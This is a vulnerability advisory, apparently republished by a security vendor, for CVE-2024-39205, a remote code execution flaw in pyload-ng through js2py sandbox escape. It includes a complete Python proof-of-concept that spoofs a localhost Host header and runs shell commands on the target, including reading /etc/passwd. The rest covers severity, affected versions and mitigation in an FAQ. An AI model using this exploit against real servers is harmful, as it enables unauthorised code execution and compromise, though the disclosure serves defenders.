CVE-2024-39205

Any pyload-ng running under python3.11 or below are vulnerable under RCE. Attacker can send a request containing any shell command and the victim server will execute it immediately.

Details

js2py has a vulnerability of sandbox escape assigned as CVE-2024-28397, which is used by the /flash/addcrypted2 API endpoint of pyload-ng. Although this endpoint is designed to only accept localhost connection, we can bypass this restriction using HTTP Header, thus accessing this API and achieve RCE.

PoC

The PoC is provided as poc.py below, you can modify the shell command it execute:

import socket
import base64
from urllib.parse import quote

host, port = input("host: "), int(input("port: "))

payload = """
// [+] command goes here:
let cmd = "head -n 1 /etc/passwd; calc; gnome-calculator;"
let hacked, bymarve, n11
let getattr, obj

hacked = Object.getOwnPropertyNames({})
bymarve = hacked.__getattribute__
n11 = bymarve("__getattribute__")
obj = n11("__class__").__base__
getattr = obj.__getattribute__

function findpopen(o) {
    let result;
    for(let i in o.__subclasses__()) {
        let item = o.__subclasses__()[i]
        if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
            return item
        }
        if(item.__name__ != "type" && (result = findpopen(item))) {
            return result
        }
    }
}

n11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate()
console.log(n11)
function f() {
    return n11
}

"""

crypted_b64 = base64.b64encode(b"1234").decode()

data = f"package=pkg&crypted={quote(crypted_b64)}&jk={quote(payload)}"

request = f"""\
POST /flash/addcrypted2 HTTP/1.1
Host: 127.0.0.1:9666
Content-Type: application/x-www-form-urlencoded
Content-Length: {len(data)}

{data}
""".encode().replace(b"\n", b"\r\n")

def main():

    s = socket.socket()
    s.connect((host, port))

    s.send(request)
    response = s.recv(1024).decode()
    print(response)

if __name__ == "__main__":
    main()

Anyone who runs the latest version (<=0.5.0b3.dev85) of pyload-ng under python3.11 or below. pyload-ng doesn't use js2py for python3.12 or above.

Untrusted input is evaluated as executable code within the application's runtime environment. Typical impact: arbitrary code execution within the application's privilege context.

CVE-2024-39205 has a CVSS score of 9.8 (Critical). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. No fixed version is listed yet, so configuration controls and monitoring matter more in the interim.

Kodem intelligence

1. What is CVE-2024-39205? CVE-2024-39205 is a critical-severity code injection vulnerability in pyload-ng (pip), affecting versions <= 0.5.0b3.dev85. No fixed version is listed yet. Untrusted input is evaluated as executable code within the application's runtime environment.
2. How severe is CVE-2024-39205? CVE-2024-39205 has a CVSS score of 9.8 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of pyload-ng are affected by CVE-2024-39205? pyload-ng (pip) versions <= 0.5.0b3.dev85 is affected.
4. Is there a fix for CVE-2024-39205? No fixed version is listed for CVE-2024-39205 yet. Monitor the advisory for updates and apply mitigations in the interim.
5. Is CVE-2024-39205 exploitable, and should I be worried? Whether CVE-2024-39205 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2024-39205 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2024-39205? No fixed version is listed yet. In the interim: Never evaluate untrusted input as code. Use sandboxed evaluation environments if dynamic execution is required.